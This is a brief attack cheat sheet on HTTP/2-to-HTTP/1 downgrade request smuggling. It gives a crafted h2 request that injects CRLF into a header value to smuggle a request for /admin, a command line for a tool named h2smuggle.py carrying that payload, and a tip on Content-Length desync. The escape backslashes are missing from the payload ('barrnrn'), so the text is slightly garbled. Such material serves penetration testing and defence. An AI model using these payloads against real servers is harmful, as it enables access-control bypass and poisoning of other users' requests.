HTTP/2 to HTTP/1 downgrade request smuggling

When an edge speaks HTTP/2 to clients but HTTP/1 to origin, header handling gaps reappear. Inject CRLF into a pseudo-header value or supply a conflicting length that the rewriter forwards verbatim.

# h2 request with a smuggled request line inside a header value
:method GET
:path /
foo: barrnrnGET /admin HTTP/1.1rnHost: target

Send with a client that does not sanitize h2 headers.

python3 h2smuggle.py --target https://target --header $'foo: barrnrnGET /admin HTTP/1.1rnHost: targetrnX: x'

Pro note: also test h2 CL desync, where you set a Content-Length that disagrees with the actual DATA frame length. Because h2 has no in-band body terminator, the origin’s h1 view can be poisoned. Keep probes scoped to your own connection to avoid trapping other users.